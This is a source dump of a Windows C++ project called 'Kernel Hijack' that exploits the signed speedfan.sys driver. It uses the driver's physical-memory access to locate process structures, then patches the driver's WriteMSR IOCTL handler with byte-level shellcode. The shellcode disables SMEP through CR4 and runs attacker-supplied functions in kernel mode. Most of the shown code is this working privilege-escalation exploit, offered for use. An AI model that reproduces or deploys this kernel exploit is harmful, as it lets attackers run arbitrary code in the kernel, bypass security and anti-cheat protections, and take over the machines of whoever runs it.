├── .gitattributes ├── .gitignore ├── .vs └── Kernel Hijack │ └── v14 │ └── .suo ├── Kernel Hijack.VC.db ├── Kernel Hijack.sln └── src ├── Kernel Hijack.vcxproj ├── Kernel Hijack.vcxproj.filters ├── Memory ├── MemIter.cpp ├── MemIter.h ├── MemIterNative.h ├── Proc.cpp └── Proc.h ├── Speedfan ├── Speedfan.cpp ├── Speedfan.h ├── SpeedfanHook.cpp └── SpeedfanHook.h ├── Utilities ├── Superfetch.cpp ├── Superfetch.h ├── SuperfetchNative.h ├── Utils.cpp └── Utils.h └── main.cpp /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # Windows shortcuts 18 | *.lnk 19 | 20 | # ========================= 21 | # Operating System Files 22 | # ========================= 23 | 24 | # OSX 25 | # ========================= 26 | 27 | .DS_Store 28 | .AppleDouble 29 | .LSOverride 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear in the root of a volume 35 | .DocumentRevisions-V100 36 | .fseventsd 37 | .Spotlight-V100 38 | .TemporaryItems 39 | .Trashes 40 | .VolumeIcon.icns 41 | 42 | # Directories potentially created on remote AFP share 43 | .AppleDB 44 | .AppleDesktop 45 | Network Trash Folder 46 | Temporary Items 47 | .apdisk 48 | -------------------------------------------------------------------------------- /.vs/Kernel Hijack/v14/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SamLarenN/Kernel-Hijack/fd85ec41dcf727235dd56ceab230bba971c3d457/.vs/Kernel Hijack/v14/.suo -------------------------------------------------------------------------------- /Kernel Hijack.VC.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SamLarenN/Kernel-Hijack/fd85ec41dcf727235dd56ceab230bba971c3d457/Kernel Hijack.VC.db -------------------------------------------------------------------------------- /Kernel Hijack.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Kernel Hijack", "Kernel Hijack\Kernel Hijack.vcxproj", "{A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Debug|x64.ActiveCfg = Debug|x64 17 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Debug|x64.Build.0 = Debug|x64 18 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Debug|x86.ActiveCfg = Debug|Win32 19 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Debug|x86.Build.0 = Debug|Win32 20 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Release|x64.ActiveCfg = Release|x64 21 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Release|x64.Build.0 = Release|x64 22 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Release|x86.ActiveCfg = Release|Win32 23 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /src/Kernel Hijack.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {A42CA9B1-5722-4F81-85D3-CEEB5D29DBA6} 23 | KernelHijack 24 | 8.1 25 | 26 | 27 | 28 | Application 29 | true 30 | v140 31 | MultiByte 32 | 33 | 34 | Application 35 | false 36 | v140 37 | true 38 | MultiByte 39 | 40 | 41 | Application 42 | true 43 | v140 44 | MultiByte 45 | 46 | 47 | Application 48 | false 49 | v140 50 | true 51 | MultiByte 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | Level3 75 | Disabled 76 | true 77 | 78 | 79 | 80 | 81 | Level3 82 | Disabled 83 | true 84 | C:\Users\drvtst\Documents\Visual Studio 2015\Projects\Kernel Hijack\Kernel Hijack;%(AdditionalIncludeDirectories) 85 | 86 | 87 | 88 | 89 | Level3 90 | MaxSpeed 91 | true 92 | true 93 | true 94 | 95 | 96 | true 97 | true 98 | 99 | 100 | 101 | 102 | Level3 103 | MaxSpeed 104 | true 105 | true 106 | true 107 | C:\Users\drvtst\Documents\Visual Studio 2015\Projects\Kernel Hijack\Kernel Hijack;%(AdditionalIncludeDirectories) 108 | 109 | 110 | true 111 | true 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /src/Kernel Hijack.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {c1897d51-e5c8-4af7-87d2-b2d6e86d7a33} 18 | 19 | 20 | {10092dba-cc4d-43a3-b359-a63dcba3d599} 21 | 22 | 23 | {11f76441-9a66-4191-a592-c842a11054a0} 24 | 25 | 26 | 27 | 28 | Speedfan 29 | 30 | 31 | Speedfan 32 | 33 | 34 | Source Files 35 | 36 | 37 | Memory 38 | 39 | 40 | Memory 41 | 42 | 43 | Utilities 44 | 45 | 46 | Utilities 47 | 48 | 49 | 50 | 51 | Speedfan 52 | 53 | 54 | Speedfan 55 | 56 | 57 | Memory 58 | 59 | 60 | Memory 61 | 62 | 63 | Memory 64 | 65 | 66 | Utilities 67 | 68 | 69 | Utilities 70 | 71 | 72 | Utilities 73 | 74 | 75 | -------------------------------------------------------------------------------- /src/Memory/MemIter.cpp: -------------------------------------------------------------------------------- 1 | #include "Memory\MemIter.h" 2 | #include "Utilities\Utils.h" 3 | #include 4 | 5 | 6 | MemIter* g_pMemIter = new MemIter(); 7 | 8 | 9 | /* 10 | Set up the iterator by passing portable functions 11 | */ 12 | BOOLEAN MemIter::OnSetup(std::function Callback, std::function ReadPhysicalAddress) 13 | { 14 | if (!Callback || !ReadPhysicalAddress) 15 | return false; 16 | if (!g_pFetch->SFSetup()) 17 | return false; 18 | if (!g_pFetch->SFGetMemoryInfo(m_MemInfo, m_InfoCount)) 19 | return false; 20 | 21 | this->Callback = Callback; 22 | this->ReadPhysicalAddress = ReadPhysicalAddress; 23 | return true; 24 | } 25 | 26 | 27 | MemIter::~MemIter() 28 | { 29 | } 30 | 31 | 32 | BOOLEAN MemIter::isInRam(uint64_t address, uint32_t len) 33 | { 34 | for (int j = 0; j < m_InfoCount; j++) 35 | if ((m_MemInfo[j].Start <= address) && ((address + len) <= m_MemInfo[j].End)) 36 | return true; 37 | return false; 38 | } 39 | 40 | /* 41 | Iterate physical memory, scan for pooltag 42 | */ 43 | BOOLEAN MemIter::IterateMemory(const char* Pooltag, PVOID Context) 44 | { 45 | BOOLEAN bFound = FALSE; 46 | POOL_HEADER PoolHeader{ 0 }; 47 | uint32_t tag = ( 48 | Pooltag[0] | 49 | Pooltag[1] << 8 | 50 | Pooltag[2] << 16 | 51 | Pooltag[3] << 24 52 | ); 53 | 54 | for (auto i = 0ULL; i < m_MemInfo[m_InfoCount - 1].End; i += 0x1000) 55 | { 56 | if (!isInRam(i, 0x1000UL)) 57 | continue; 58 | 59 | uint8_t* lpCursor = (uint8_t*)i; 60 | uint32_t previousSize = 0; 61 | 62 | while (true) 63 | { 64 | if (!ReadPhysicalAddress((uint64_t)lpCursor, sizeof(POOL_HEADER), &PoolHeader)) 65 | return 0; 66 | 67 | auto blockSize = (PoolHeader.BlockSize << 4); 68 | auto previousBlockSize = (PoolHeader.PreviousSize << 4); 69 | 70 | if (previousBlockSize != previousSize || 71 | blockSize == 0 || 72 | blockSize >= 0xFFF || 73 | !g_pUtils->isPrintable(PoolHeader.PoolTag & 0x7FFFFFFF)) 74 | break; 75 | 76 | previousSize = blockSize; 77 | 78 | if (tag == PoolHeader.PoolTag & 0x7FFFFFFF) 79 | { 80 | PVOID block = VirtualAlloc(nullptr, blockSize, MEM_COMMIT, PAGE_READWRITE); // Alloc mem for whole block 81 | if (!block) 82 | break; 83 | 84 | if (!ReadPhysicalAddress((uint64_t)lpCursor, blockSize, block)) // Read whole block 85 | { 86 | if (block) 87 | VirtualFree(block, 0, MEM_RELEASE); 88 | break; 89 | } 90 | 91 | bFound = Callback(block, lpCursor, blockSize, Context); // Callback, passes alloced block and physical address to block and size of block 92 | 93 | if (block) 94 | VirtualFree(block, 0, MEM_RELEASE); 95 | break; 96 | } 97 | 98 | lpCursor += blockSize; 99 | if (((uint64_t)lpCursor - i) >= 0x1000) 100 | break; 101 | } 102 | 103 | if (bFound) 104 | break; 105 | } 106 | 107 | return bFound; 108 | } 109 | -------------------------------------------------------------------------------- /src/Memory/MemIter.h: -------------------------------------------------------------------------------- 1 | #ifndef MEMITER_H 2 | #define MEMITER_H 3 | #pragma once 4 | 5 | #include 6 | #include 7 | #include "Utilities\Superfetch.h" 8 | #include "Memory\MemIterNative.h" 9 | 10 | 11 | class MemIter 12 | { 13 | public: 14 | BOOLEAN OnSetup(std::function Callback, std::function ReadPhysicalAddress); 15 | ~MemIter(); 16 | 17 | BOOLEAN IterateMemory(const char* Pooltag, PVOID Context); 18 | 19 | private: 20 | BOOLEAN isInRam(uint64_t address, uint32_t len); 21 | 22 | private: 23 | std::function Callback; 24 | std::function ReadPhysicalAddress; 25 | SFMemoryInfo m_MemInfo[32]; 26 | int m_InfoCount = 0; 27 | }; 28 | 29 | #endif // !MEMITER_H 30 | 31 | extern MemIter* g_pMemIter; -------------------------------------------------------------------------------- /src/Memory/MemIterNative.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef MEMITER_NATIVE_H 3 | #define MEMITER_NATIVE_H 4 | 5 | #include 6 | 7 | typedef struct _POOL_HEADER 8 | { 9 | union 10 | { 11 | struct 12 | { 13 | #if defined(_AMD64_) 14 | ULONG PreviousSize : 8; 15 | ULONG PoolIndex : 8; 16 | ULONG BlockSize : 8; 17 | ULONG PoolType : 8; 18 | #else 19 | USHORT PreviousSize : 9; 20 | USHORT PoolIndex : 7; 21 | USHORT BlockSize : 9; 22 | USHORT PoolType : 7; 23 | #endif 24 | }; 25 | ULONG Ulong1; 26 | }; 27 | #if defined(_WIN64) 28 | ULONG PoolTag; 29 | #endif 30 | union 31 | { 32 | #if defined(_WIN64) 33 | void *ProcessBilled; 34 | #else 35 | ULONG PoolTag; 36 | #endif 37 | struct 38 | { 39 | USHORT AllocatorBackTraceIndex; 40 | USHORT PoolTagHash; 41 | }; 42 | }; 43 | } POOL_HEADER, *PPOOL_HEADER; 44 | 45 | typedef struct _OBJECT_HEADER 46 | { 47 | LONG PointerCount; 48 | union 49 | { 50 | LONG HandleCount; 51 | PVOID NextToFree; 52 | }; 53 | ULONGLONG Lock; 54 | UCHAR TypeIndex; 55 | union 56 | { 57 | UCHAR TraceFlags; 58 | struct 59 | { 60 | UCHAR DbgRefTrace : 1; 61 | UCHAR DbgTracePermanent : 1; 62 | UCHAR Reserved : 6; 63 | }; 64 | }; 65 | UCHAR InfoMask; 66 | union 67 | { 68 | UCHAR Flags; 69 | struct 70 | { 71 | UCHAR NewObject : 1; 72 | UCHAR KernelObject : 1; 73 | UCHAR KernelOnlyAccess : 1; 74 | UCHAR ExclusiveObject : 1; 75 | UCHAR PermanentObject : 1; 76 | UCHAR DefaultSecurityQuota : 1; 77 | UCHAR SingleHandleEntry : 1; 78 | UCHAR DeletedInline : 1; 79 | }; 80 | }; 81 | union 82 | { 83 | PVOID ObjectCreateInfo; 84 | PVOID QuotaBlockCharged; 85 | }; 86 | PVOID SecurityDescriptor; 87 | PVOID Body; 88 | } OBJECT_HEADER, *POBJECT_HEADER; 89 | 90 | #endif // !MEMITER_NATIVE_H -------------------------------------------------------------------------------- /src/Memory/Proc.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SamLarenN/Kernel-Hijack/fd85ec41dcf727235dd56ceab230bba971c3d457/src/Memory/Proc.cpp -------------------------------------------------------------------------------- /src/Memory/Proc.h: -------------------------------------------------------------------------------- 1 | #ifndef PROC_H 2 | #define PROC_H 3 | #pragma once 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | 11 | class Proc 12 | { 13 | public: 14 | 15 | BOOLEAN OnSetup(std::string ProcessName); 16 | ~Proc(); 17 | 18 | 19 | BOOLEAN ReadProcessMemory(PVOID Address, DWORD Size, PVOID Dst); 20 | template 21 | T Read(U Address) 22 | { 23 | T Buff{ 0 }; 24 | ReadProcessMemory((PVOID)Address, sizeof(T), &Buff); 25 | return Buff; 26 | } 27 | 28 | BOOLEAN WriteProcessMemory(PVOID Address, DWORD Size, PVOID Src); 29 | template 30 | BOOLEAN Write(U Address, T Val) 31 | { 32 | return WriteProcessMemory((PVOID)Address, sizeof(T), &Val); 33 | } 34 | 35 | 36 | private: 37 | BOOLEAN GetProcessId(); 38 | BOOLEAN Callback(PVOID Block, PVOID PhysBlock, ULONG BlockSize, PVOID Context); 39 | uint64_t TranslateVirtualAddress(uint64_t directoryTableBase, LPVOID virtualAddress); 40 | 41 | private: 42 | std::string m_ProcessName; 43 | uint64_t m_ProcessId; 44 | uint64_t m_DirectoryTable; 45 | uint8_t* m_PhysEprocess; 46 | uint64_t m_VaPEB; 47 | }; 48 | 49 | #endif // !PROC_H 50 | 51 | extern Proc* g_pProc; -------------------------------------------------------------------------------- /src/Speedfan/Speedfan.h: -------------------------------------------------------------------------------- 1 | #ifndef SPEEDFAN_H 2 | #define SPEEDFAN_H 3 | #pragma once 4 | 5 | #include 6 | #include 7 | 8 | 9 | class Speedfan 10 | { 11 | public: 12 | BOOLEAN OnSetup(); 13 | BOOLEAN ReadMSR(uint32_t Msr, uint64_t* Ret); 14 | VOID ExecuteKernelCallback(PVOID Func); 15 | BOOLEAN ReadPhysicalAddress(uint64_t physAddress, DWORD Size, LPVOID Return); 16 | BOOLEAN WritePhysicalAddress(uint64_t physAddress, DWORD Size, PVOID Src); 17 | ~Speedfan(); 18 | 19 | template 20 | T ReadPhysicalAddress(U Address) 21 | { 22 | T Buff{ 0 }; 23 | ReadPhysicalAddress((uint64_t)Address, sizeof(T), &Buff); 24 | return Buff; 25 | } 26 | 27 | private: 28 | BOOLEAN DropDriver(); 29 | BOOLEAN LoadDriver(); 30 | 31 | private: 32 | char m_szPath[MAX_PATH]; 33 | HANDLE m_hDriver; 34 | }; 35 | 36 | #endif // !SPEEDFAN_H 37 | 38 | extern Speedfan* g_pSpdfan; 39 | extern unsigned char SpeedfanShell[28664]; -------------------------------------------------------------------------------- /src/Speedfan/SpeedfanHook.cpp: -------------------------------------------------------------------------------- 1 | #include "Speedfan\SpeedfanHook.h" 2 | 3 | #include "Utilities\Superfetch.h" 4 | #include "Memory\Proc.h" 5 | #include "Speedfan\Speedfan.h" 6 | #include "Utilities\Utils.h" 7 | 8 | 9 | #define TEXT_SECTION_OFFS 0x1000 10 | #define IOCTL_FUNC_OFFS 0x10D5 11 | #define IOCTL_FUNC_SIZE 0x4C 12 | 13 | ULONG(NTAPI* DbgPrintEx)(ULONG, ULONG, PCSTR, ...); 14 | 15 | SpeedfanHook* g_pHook = new SpeedfanHook(); 16 | 17 | 18 | SpeedfanHook::SpeedfanHook() 19 | { 20 | } 21 | 22 | 23 | SpeedfanHook::~SpeedfanHook() 24 | { 25 | } 26 | 27 | 28 | BOOLEAN SpeedfanHook::OnSetup() 29 | { 30 | return HookIOCTLFunction(); 31 | } 32 | 33 | 34 | BOOLEAN SpeedfanHook::HookIOCTLFunction() 35 | { 36 | if (!m_ModuleBase) 37 | { 38 | m_ModuleBase = g_pFetch->SFGetModuleBase("speedfan.sys"); 39 | if (!m_ModuleBase) 40 | return false; 41 | } 42 | 43 | if (!m_NtBase) 44 | { 45 | m_NtBase = g_pFetch->SFGetModuleBase("ntoskrnl.exe"); 46 | if (!m_NtBase) 47 | return false; 48 | } 49 | 50 | if (!m_MmGetSystemRoutineAddressRVA) 51 | { 52 | m_MmGetSystemRoutineAddressRVA = g_pFetch->SFGetNativeProcedureRVA("MmGetSystemRoutineAddress"); 53 | if (!m_MmGetSystemRoutineAddressRVA) 54 | return false; 55 | } 56 | 57 | 58 | uint64_t MmGetSystemRoutineAddress = m_MmGetSystemRoutineAddressRVA + m_NtBase; 59 | 60 | // Set virtual address MmGetSystemRoutineAddress 61 | m_Params.MmGetSystemRoutineAddress = (PVOID)MmGetSystemRoutineAddress; 62 | 63 | // Virtual address to ioctl handler to be overwritten. 64 | // We will overwrite the WriteMSR handler. 65 | uint64_t IOCTLFunction = m_ModuleBase + TEXT_SECTION_OFFS + IOCTL_FUNC_OFFS; 66 | 67 | // memset NOPs 68 | for (int i = 0; i < IOCTL_FUNC_SIZE; ++i) 69 | g_pProc->Write(IOCTLFunction + i, 0x90); 70 | 71 | // Before we get to execute this payload, RDI will contain "Systembuffer" passed to the device driver 72 | BYTE payload[] = 73 | { 74 | //0xCC, // int3 ; Breakpoint (For debugging) 75 | 0xFA, // cli ; Clear interrupts 76 | 0x48, 0x8B, 0x07, // mov rax, [rdi] ; Get 64bit value passed from usermode through Systembuffer 77 | 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // movabs rcx, 0x0 ; Move address to parameters passed to our function (we will overwrite the zeroes) 78 | 0x41, 0x0F, 0x20, 0xE7, // mov r15, cr4 ; Save CR4 in a nonvolatile register 79 | 0x0F, 0x20, 0xE3, // mov rbx, cr4 ; Move CR4 to RBX 80 | 0x48, 0x81, 0xE3, 0xFF, 0xFF, 0xEF, 0xFF, // and rbx, 0xffffffffffefffff ; Set CR4.SMEP to 0 81 | 0x0F, 0x22, 0xE3, // mov cr4, rbx ; Set new CR4 82 | 0xFF, 0xD0, // call rax ; Call our function pointer 83 | 0x41, 0x0F, 0x22, 0xE7, // mov cr4, r15 ; Restore CR4 84 | 0xFB // sti ; Set interrupts 85 | }; 86 | 87 | // Set pointer to parameter 88 | // Set to 0x7 if 0xCC (int3) is in shellcode 89 | *(uint64_t*)(payload + 0x6) = (uint64_t)&m_Params; 90 | 91 | // Write shellcode 92 | return g_pProc->WriteProcessMemory((PVOID)IOCTLFunction, sizeof(payload), (PVOID)payload); 93 | } 94 | 95 | 96 | /* 97 | Calls the parameter function from kernel to usermode 98 | */ 99 | VOID SpeedfanHook::ExecuteHook(PVOID Hook) 100 | { 101 | g_pSpdfan->ExecuteKernelCallback(Hook); 102 | } 103 | 104 | 105 | 106 | void __stdcall HookFunc(HOOKPARAMS* ParamStruct) 107 | { 108 | if (ParamStruct == nullptr) 109 | return; 110 | 111 | PVOID f = (PVOID)ParamStruct->MmGetSystemRoutineAddress; 112 | DbgPrintEx = (decltype(DbgPrintEx))g_pUtils->GetSystemRoutine(f, L"DbgPrintEx"); 113 | DbgPrintEx(77, 0, "0x%X", ParamStruct->Context); 114 | return; 115 | } -------------------------------------------------------------------------------- /src/Speedfan/SpeedfanHook.h: -------------------------------------------------------------------------------- 1 | #ifndef SPEEDFAN_HOOK_H 2 | #define SPEEDFAN_HOOK_H 3 | #pragma once 4 | 5 | #include 6 | #include 7 | 8 | 9 | 10 | struct HOOKPARAMS 11 | { 12 | PVOID MmGetSystemRoutineAddress; 13 | PVOID Context; 14 | }; 15 | 16 | class SpeedfanHook 17 | { 18 | public: 19 | BOOLEAN OnSetup(); 20 | SpeedfanHook(); 21 | ~SpeedfanHook(); 22 | 23 | VOID SetHookParams(PVOID Context) { m_Params.Context = Context; } 24 | VOID ExecuteHook(PVOID Hook); 25 | 26 | private: 27 | BOOLEAN HookIOCTLFunction(); 28 | 29 | private: 30 | uint64_t m_ModuleBase = 0, m_NtBase = 0, m_MmGetSystemRoutineAddressRVA = 0; 31 | HOOKPARAMS m_Params; 32 | }; 33 | 34 | #endif // !SPEEDFAN_HOOK_H 35 | 36 | extern SpeedfanHook* g_pHook; 37 | 38 | void __stdcall HookFunc(HOOKPARAMS* ParamStruct); -------------------------------------------------------------------------------- /src/Utilities/Superfetch.cpp: -------------------------------------------------------------------------------- 1 | #include "Utilities\Superfetch.h" 2 | 3 | Superfetch* g_pFetch = new Superfetch(); 4 | 5 | 6 | Superfetch::Superfetch() 7 | { 8 | } 9 | 10 | 11 | Superfetch::~Superfetch() 12 | { 13 | } 14 | -------------------------------------------------------------------------------- /src/Utilities/Superfetch.h: -------------------------------------------------------------------------------- 1 | #ifndef SUPERFETCH_H 2 | #define SUPERFETCH_H 3 | #pragma once 4 | 5 | #include 6 | #include 7 | #include 8 | #include "Utilities\SuperfetchNative.h" 9 | 10 | struct SFMemoryInfo 11 | { 12 | uint64_t Start; 13 | uint64_t End; 14 | int PageCount; 15 | uint64_t Size; 16 | }; 17 | 18 | class Superfetch 19 | { 20 | public: 21 | Superfetch(); 22 | ~Superfetch(); 23 | 24 | 25 | 26 | template 27 | std::unique_ptr 28 | QueryInfo( 29 | __in SYSTEM_INFORMATION_CLASS sysClass 30 | ) 31 | { 32 | size_t size = sizeof(RTL_PROCESS_MODULES) + SPAGE_SIZE; 33 | NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; 34 | void* info = malloc(size); 35 | if (!info) 36 | return std::unique_ptr(nullptr); 37 | 38 | for (; STATUS_INFO_LENGTH_MISMATCH == status; size *= 2) 39 | { 40 | status = NtQuerySystemInformation( 41 | (SYSTEM_INFORMATION_CLASS)sysClass, 42 | info, 43 | size, 44 | nullptr); 45 | 46 | info = realloc(info, size * 2); 47 | if (!info) 48 | break; 49 | } 50 | 51 | std::unique_ptr r_info = std::unique_ptr(static_cast(info)); 52 | return r_info; 53 | } 54 | 55 | 56 | inline void SFBuildInfo(IN PSUPERFETCH_INFORMATION SuperfetchInfo, IN PVOID Buffer, IN ULONG Length, IN SUPERFETCH_INFORMATION_CLASS InfoClass) { 57 | SuperfetchInfo->Version = SUPERFETCH_VERSION; 58 | SuperfetchInfo->Magic = SUPERFETCH_MAGIC; 59 | SuperfetchInfo->Data = Buffer; 60 | SuperfetchInfo->Length = Length; 61 | SuperfetchInfo->InfoClass = InfoClass; 62 | } 63 | 64 | 65 | bool SFSetup() 66 | { 67 | BOOLEAN old; 68 | auto status = RtlAdjustPrivilege(SE_PROF_SINGLE_PROCESS_PRIVILEGE, TRUE, FALSE, &old); 69 | status |= RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &old); 70 | if (!NT_SUCCESS(status)) 71 | return false; 72 | 73 | SYSTEM_BASIC_INFORMATION basicInfo; 74 | 75 | status = NtQuerySystemInformation(SystemBasicInformation, 76 | &basicInfo, sizeof(SYSTEM_BASIC_INFORMATION), nullptr); 77 | if (!NT_SUCCESS(status)) 78 | return false; 79 | 80 | 81 | return true; 82 | } 83 | 84 | 85 | bool SFGetMemoryInfo(SFMemoryInfo* pInfo, int& rCount) 86 | { 87 | PPF_MEMORY_RANGE_INFO MemoryRanges; 88 | SUPERFETCH_INFORMATION SuperfetchInfo; 89 | ULONG ResultLength = 0; 90 | PF_MEMORY_RANGE_INFO MemoryRangeInfo; 91 | MemoryRangeInfo.Version = 1; 92 | SFBuildInfo(&SuperfetchInfo, &MemoryRangeInfo, sizeof(MemoryRangeInfo), SuperfetchMemoryRangesQuery); 93 | 94 | if ( 95 | NtQuerySystemInformation(SystemSuperfetchInformation, &SuperfetchInfo, sizeof(SuperfetchInfo), &ResultLength) 96 | == STATUS_BUFFER_TOO_SMALL) 97 | { 98 | MemoryRanges = static_cast(HeapAlloc(GetProcessHeap(), 0, ResultLength)); 99 | MemoryRanges->Version = 1; 100 | SFBuildInfo(&SuperfetchInfo, MemoryRanges, ResultLength, SuperfetchMemoryRangesQuery); 101 | if (!NT_SUCCESS(NtQuerySystemInformation(SystemSuperfetchInformation, &SuperfetchInfo, sizeof(SuperfetchInfo), &ResultLength))) 102 | return false; 103 | } 104 | else { 105 | MemoryRanges = &MemoryRangeInfo; 106 | } 107 | 108 | rCount = 0; 109 | PPHYSICAL_MEMORY_RUN Node; 110 | for (ULONG i = 0; i < MemoryRanges->RangeCount; i++) { 111 | Node = reinterpret_cast(&MemoryRanges->Ranges[i]); 112 | pInfo[i].Start = Node->BasePage << PAGE_SHIFT; 113 | pInfo[i].End = (Node->BasePage + Node->PageCount) << PAGE_SHIFT; 114 | pInfo[i].PageCount = Node->PageCount; 115 | pInfo[i].Size = ((Node->PageCount << PAGE_SHIFT) >> 10) * 1024; // kb to byte 116 | rCount++; 117 | } 118 | return true; 119 | } 120 | 121 | 122 | uint64_t SFGetModuleBase(const char* module) 123 | { 124 | auto module_info = QueryInfo(SystemModuleInformation); 125 | 126 | for (size_t i = 0; i < module_info->NumberOfModules; i++) 127 | if (!_strnicmp(module, module_info.get()->Modules[i].FullPathName + module_info->Modules[i].OffsetToFileName, strlen(module) + 1)) 128 | return reinterpret_cast(module_info->Modules[i].ImageBase); 129 | 130 | return 0; 131 | } 132 | 133 | 134 | uint64_t SFGetNativeProcedureRVA(const char* lpProcedure) 135 | { 136 | uint64_t MmGetSystemRoutineAddress = 0; 137 | char szSystemPath[MAX_PATH] = { 0 }; 138 | MODULEINFO modInfo; 139 | 140 | GetSystemDirectoryA(szSystemPath, MAX_PATH); 141 | strcat_s(szSystemPath, "\\ntoskrnl.exe"); 142 | 143 | HMODULE MappedImage = LoadLibraryExA(szSystemPath, NULL, DONT_RESOLVE_DLL_REFERENCES); 144 | if (!MappedImage) 145 | return 0; 146 | 147 | if (!GetModuleInformation(GetCurrentProcess(), MappedImage, &modInfo, sizeof(modInfo))) 148 | { 149 | FreeModule(MappedImage); 150 | return 0; 151 | } 152 | 153 | 154 | MmGetSystemRoutineAddress = (uint64_t)GetProcAddress(MappedImage, lpProcedure); 155 | MmGetSystemRoutineAddress -= (uint64_t)modInfo.lpBaseOfDll; 156 | 157 | FreeModule(MappedImage); 158 | return MmGetSystemRoutineAddress; 159 | } 160 | }; 161 | 162 | #endif // !SUPERFETCH_H 163 | 164 | extern Superfetch* g_pFetch; -------------------------------------------------------------------------------- /src/Utilities/SuperfetchNative.h: -------------------------------------------------------------------------------- 1 | #ifndef _SUPERFETCH_NATIVE_H 2 | #define _SUPERFETCH_NATIVE_H 3 | #pragma comment(lib, "ntdll.lib") 4 | #define _AMD64_ 5 | #include 6 | 7 | typedef long NTSTATUS, *PNTSTATUS; 8 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 9 | #include 10 | 11 | // 12 | // Memory Manager Page Lists 13 | // 14 | typedef enum _MMLISTS { 15 | ZeroedPageList = 0, 16 | FreePageList = 1, 17 | StandbyPageList = 2, 18 | ModifiedPageList = 3, 19 | ModifiedNoWritePageList = 4, 20 | BadPageList = 5, 21 | ActiveAndValid = 6, 22 | TransitionPage = 7 23 | } MMLISTS; 24 | 25 | // 26 | // PFN Identity Uses 27 | // 28 | #define MMPFNUSE_PROCESSPRIVATE 0 29 | #define MMPFNUSE_FILE 1 30 | #define MMPFNUSE_PAGEFILEMAPPED 2 31 | #define MMPFNUSE_PAGETABLE 3 32 | #define MMPFNUSE_PAGEDPOOL 4 33 | #define MMPFNUSE_NONPAGEDPOOL 5 34 | #define MMPFNUSE_SYSTEMPTE 6 35 | #define MMPFNUSE_SESSIONPRIVATE 7 36 | #define MMPFNUSE_METAFILE 8 37 | #define MMPFNUSE_AWEPAGE 9 38 | #define MMPFNUSE_DRIVERLOCKPAGE 10 39 | #define MMPFNUSE_KERNELSTACK 11 40 | 41 | typedef struct _SYSTEM_MEMORY_LIST_INFORMATION { 42 | SIZE_T ZeroPageCount; 43 | SIZE_T FreePageCount; 44 | SIZE_T ModifiedPageCount; 45 | SIZE_T ModifiedNoWritePageCount; 46 | SIZE_T BadPageCount; 47 | SIZE_T PageCountByPriority[8]; 